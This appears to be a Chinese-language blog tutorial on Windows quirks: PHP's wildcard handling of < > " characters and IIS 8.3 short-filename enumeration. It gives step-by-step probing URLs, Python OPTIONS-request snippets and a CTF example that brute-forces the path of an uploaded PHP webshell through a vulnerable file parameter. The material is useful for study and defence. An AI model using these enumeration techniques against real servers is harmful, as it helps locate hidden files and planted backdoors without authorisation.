window的特性
參考文獻:https://xz.aliyun.com/t/2318
https://www.jianshu.com/p/96cf08d569bc
WinAPI與萬用字元
在Windows環境下使用PHP時,PHP中的部分函式會呼叫2個底層Windows API函式FindFirstFileExW()
,FindFirstFile()
這兩個函式對< > "
三個字元做了特別的對待和處理:
大於號 > 等價於 萬用字元 ? 0次或1次
小於號 < 等價於 萬用字元 * 0次或多次
雙引號 " 等價於 萬用字元 . 匹配除換行符(
,
)之外的任意單個字元
也就是說,在Windows下的PHP的某些函式中,我們可以使用< > "
來匹配一些檔名/目錄名,將檔名不可知部分之後的字元用”<“,”>”代替,只用一個”<“或”>”只能代表一個字元,若檔名很長需要用”<<“才行。
這裡的部分函式包括但不限於:
include() 包含檔案
include_once() 包含檔案
require() 包含檔案
require_once() 包含檔案
fopen() 開啟檔案
copy() 複製檔案
file_get_contents() 讀取檔案
readfile() 讀取檔案
file_put_contents() 寫入檔案
mkdir() 建立檔案
opendir() 資料夾操作
readdir() 資料夾操作
move_uploaded_file() 移動檔案
getimagesize() 獲取影像尺寸,型別等資訊
......
IIS短檔名
遠古時代的DOS下存在這樣的檔案命名規則:主檔名不能超過8個字元,副檔名不能超過3個字元(也被叫為8.3格式。)
Windows為了相容MS-DOS,為檔名超過8位,副檔名超過3位的檔案都會對應地建立一個8.3格式的檔名,也稱為短檔名。在cmd下使用命令 dir /x
可以檢視檔案對應的短檔名
短檔名有如下2個特徵:
- 檔名只顯示前6個字元,後續字元用~1代替。當存在多個檔名類似的檔案時(檔名前6位相同,且字尾名前3位相同),數字1會進行遞增。
- 字尾只顯示前3個字元。
Windows + IIS 6 + .net 檔案/目錄猜測
適用條件與侷限:
- 被猜測檔案的檔名長度需超過8位,或字尾名超過3位。
- 環境為Windows + IIS + .net
- 只能猜測出檔名的前6位,字尾名的前3位。
IIS短檔名漏洞
當我們訪問某個存在的短檔名時,會返回404。而當我們訪問某個不存在的短檔名時,會返回400,依據返回結果的不同,就可以進行逐位猜測了。
比如要猜測出如下檔案abc7758521woaini.aspx
- 猜測檔名/目錄名
進行如下猜解,不斷向下猜解完所有的6個字元,
http://xxx.xx.xx.xxx/a*~1****/xxx.aspx 返回404 猜測正確
http://xxx.xx.xx.xxx/aa*~1****/xxx.aspx Bad Request 猜測錯誤
http://xxx.xx.xx.xxx/ab*~1****/xxx.aspx 返回404
http://xxx.xx.xx.xxx/abc*~1****/xxx.aspx 返回404
......
http://xxx.xx.xx.xxx/abc774*~1****/xxx.aspx Bad Request
http://xxx.xx.xx.xxx/abc775*~1****/xxx.aspx 返回404
到了這一步,我們要來判斷這是一個目錄還是一個檔案。
若如下請求返回404,則代表它是一個目錄,否則就是一個檔案http://xxx.xx.xx.xxx/abc775*~1/xxx.aspx
- 猜測檔案字尾
接下來開始猜解檔案字尾,不斷向下猜解完所有的3個字元
http://xxx.xx.xx.xxx/abc775*~1*a**/xxx.aspx
http://xxx.xx.xx.xxx/abc775*~1*as*/xxx.aspx
http://xxx.xx.xx.xxx/abc775*~1*asp/xxx.aspx
返回無法找到該頁面
,則猜測成功
Windows + IIS 7.x + .net 檔案/目錄猜測
不同版本的IIS返回結果如下:
IIS 6 /valid*~1*/.aspx HTTP 404 -File not found
IIS 6 /Invalid*~1*/.aspx HTTP 400 -Bad Request
IIS 5.x /valid*~1* HTTP 404 -File not found
IIS 5.x /Invalid*~1* HTTP 400 -Bad Request
IIS 7.x.Net.2 Page contains:
No Error Handling /valid*~1*/ "Error code 0x 00000000 "
IIS 7.x.Net.2 Page contains:
No Error Handling /Invalid*~1*/ "Error code 0x 80070002 "
給出了IIS 7.x開啟了詳細錯誤之後,不同頁面的變化情況,然而預設情況下都是顯示一個自定義的404頁面,並不會給出詳細錯誤。
猜測出根目錄下的一個目錄名:abcdefg1234567aaabbb
在預設情況下,無論該檔案/目錄是否存在,都會返回一個404,返回結果沒有差異的話,就無法猜測。
http://xxx.xx.xx.xxx/a*~1****/xxx.aspx
http://xxx.xx.xx.xxx/b*~1****/xxx.aspx
使用OPTIONS
方式請求,可以得到不一樣的返回結果:
>>>a= requests.options("http://xxx.xx.xx.xxx/abcdee*~1.*/.aspx")
>>>a
>>>a= requests.options("http://xxx.xx.xx.xxx/abcdef*~1.*/.aspx")
>>>a
存在時會返回404,不存在時會返回200,根據返回結果的差異,就可以探測出目錄名的短檔名。
當主動開啟了詳細錯誤之後,使用GET請求也可以得到有差異的結果了。
若存在 http://xxx.xx.xx.xxx/a*~1****/xxx.aspx 錯誤程式碼為 0x00000000
若不存在http://xxx.xx.xx.xxx/b*~1****/xxx.aspx 錯誤程式碼為 0x80070002
Windows + Apache + PHP 檔案/目錄猜測
在該環境下,無法像在IIS下直接用URL訪問的方式去逐位猜測短檔名了,但有兩個殺傷力更大的特性:
-
當Web程式中存在某些函式時(前置知識中提到的),我們藉助它們來逐位猜測出完整目錄名,檔名,並且沒有長度大小的限制。
-
雖然無法直接用URL訪問的方式去逐位猜測出
短檔名
,但是可以用URL訪問的方式直接訪問/下載 已知短檔名的目錄/檔案 -
特性1
這裡以HITB 2018的一道CTF題目為例,示例程式碼如下:
<?php
$filename = $_GET[`filename`];
$file = "./abcdefg1234567aaabb/" . $filename;
var_dump(getimagesize($file));
?>
網站存在上傳功能,我們將一個php木馬上傳到了某目錄下(abcdefg1234567aaabb),但是不知道其目錄名。
但是,我們可以向1.php的filename引數傳入該目錄下的一個圖片名,程式會返回該圖片的尺寸資訊。
執行如下訪問
http://xxx.xx.xx.xxx/1.php?filename=../a</01.png 返回正常
http://xxx.xx.xx.xxx/1.php?filename=../aa</01.png 返回錯誤
http://xxx.xx.xx.xxx/1.php?filename=../ab</01.png 返回正常
......
http://xxx.xx.xx.xxx/1.php?filename=../abcdefg</01.png 返回正常
......
http://xxx.xx.xx.xxx/1.php?filename=../abcdefg1234</01.png 返回正常
......
http://xxx.xx.xx.xxx/1.php?filename=../abcdefg1234567aaabb</01.png 返回正常
接下來的26 + 10 次嘗試中,均返回錯誤,證明我們已經將目錄名猜解完畢,得到目錄名:
abcdefg1234567aaabb
假設我們連php木馬名也不知道呢?猜解檔名也是同一個道理
http://xxx.xx.xx.xxx/1.php?filename=../abcdefg1234567aaabb/w<.php
http://xxx.xx.xx.xxx/1.php?filename=../abcdefg1234567aaabb/wo<.php
http://xxx.xx.xx.xxx/1.php?filename=../abcdefg1234567aaabb/woa<.php
http://xxx.xx.xx.xxx/1.php?filename=../abcdefg1234567aaabb/woai<.php
......
http://xxx.xx.xx.xxx/1.php?filename=../abcdefg1234567aaabb/woainihhhh<.php
接下來的26 + 10 次嘗試中,均返回錯誤,證明我們已經將檔名猜解完畢,得到檔名。將目錄名和檔名拼接:
http://xxx.xx.xx.xxx/abcdefg1234567aaabb/woainihhhh.php
- 特性2
事實上,在上一步中,並不需要猜測出完整檔名,目錄名,用短檔名就可以直接訪問,下載了。
http://xxx.xx.xx.xxx/abcdef~1/woaini~1.php
想要下載如下檔案
http://xxx.xx.xx.xxx/uploads/abcdefgasd1241asd123sgadg123sdgasd123dzg.zip
同樣可以使用短檔名去下載
http://xxx.xx.xx.xxx/uploads/abcdef~1.zip
這種方法在IIS下無法使用,IIS不接受直接用短檔名訪問的請求方式。
Windows + IIS + PHP 檔案/目錄猜測
在該環境下,可以用到很多前面提到的特性。
- 可以使用URL訪問的方式,來逐位猜測出目錄/檔案的短檔名
- 當Web程式中存在某些函式時(前置知識中提到的),我們藉助它們來逐位猜測出完整目錄名,檔名,並且沒有長度大小的限制。
- 可以使用URL訪問的方式,用萬用字元直接訪問檔案(但不能訪問目錄)
特性1
使用前面提到過的OPTIONS請求方式來逐位猜測目錄的短檔名
>>>"a= requests.options("http://xxx.xx.xx.xxx/abcde~1/")
>>>a
>>>"a= requests.options("http://xxx.xx.xx.xxx/abcdf~1/")
>>>a
存在時返回404,不存在時返回200
特性2
這是PHP的特性,與Web伺服器種類無關。
首先逐位猜測出目錄名
http://xxx.xx.xx.xxx/1.php?filename=../abcdefg1234567aaabbb/<.php
http://xxx.xx.xx.xxx/1.php?filename=../abcdefg1234567aaabbb/woainihhhh.php
http://xxx.xx.xx.xxx/abcdefg1234567aaabbb/woainihhhh.php//得到完整檔案路徑
特性3
事實上猜測出目錄名就足夠了,檔名可以直接使用萬用字元去訪問:http://192.168.219.241/abcdefg1234567aaabbb/w<.php
Windows + Nginx + PHP 檔案/目錄猜測
在該環境下,依然可用使用提到的多個特性
- 可以直接用短檔名,訪問目錄和檔案
- 可以直接用萬用字元訪問檔案,但是不能訪問目錄
- PHP某些函式的特性
特性1
http://xxx.xx.xx.xxx/abcdefgwoaini123/xxxaaabbbccc.php
等價於
http://xxx.xx.xx.xxx/abcdef~1/xxxaaa~1.php
特性2
http://xxx.xx.xx.xxx/abcdefgwoaini123/xxxaaabbbccc.php
等價於
http://xxx.xx.xx.xxx/abcdef~1/x<.php
特性3
逐位猜測目錄名:
http://xxx.xx.xx.xxx/1.php?filename=../abcdefgwoaini123</1.php
Read error代表存在
逐位猜測檔名
http://xxx.xx.xx.xxx/1.php?filename=../abcdefgwoaini123/xxxaaabbbccc<.php
進而拼接處完整檔案路徑:
http://xxx.xx.xx.xxx/abcdefgwoaini123/xxxaaabbbccc.php
相關文章
- 全面學習ORACLE Scheduler特性(12)使用Windows和Window GroupsOracleWindows
- oracle中Window和Window GroupOracle
- JS中window.open和window.opener的使用薦JS
- PL/SQL中command window與SQL window的區別SQL
- Android Starting Window(Preview Window)AndroidView
- Docker的映象使用-WindowDocker
- Android 中的 WindowAndroid
- DHTML中window的使用HTML
- JS學習筆記:JS 的function( window, undefined ) {}(window)寫法JS筆記FunctionUndefined
- Android-Window(一)——初識WindowAndroid
- MDN之Window(三)【window.postMessage】
- prevent a Javascript Modal Window to open itself in a new windowJavaScript
- Window mode
- JavaScript WindowJavaScript
- window10選單介面切換到window7的方法
- Window的工作流程梳理
- window.location的屬性
- Avalonia的Window生命週期
- Window X86和X64的區別 Window x64和Window x86是什麼意思
- JavaScript window物件JavaScript物件
- window.top
- JavaScript window 物件JavaScript物件
- Squid for windowUI
- KendoUI系列:WindowUI
- WINDOW操作命令
- window.event與react的SyntheticEventReact
- Spark Streaming中的Window操作Spark
- window下mongodb的簡單配置MongoDB
- window.location.href與window.location.hash區別
- WindowManager$BadTokenException: Unable to add window permission denied for this window typeException
- Window、WindowManager、View 之間的關係View
- JavaScript 函式 window.matchMedia 的用途JavaScript函式
- window.eval()和eval()的區別
- javascript獲取window視窗的尺寸JavaScript
- Window開啟服務的DOS命令
- window中nginx的常用命令Nginx
- window.onresize事件事件
- Git 安裝(window)Git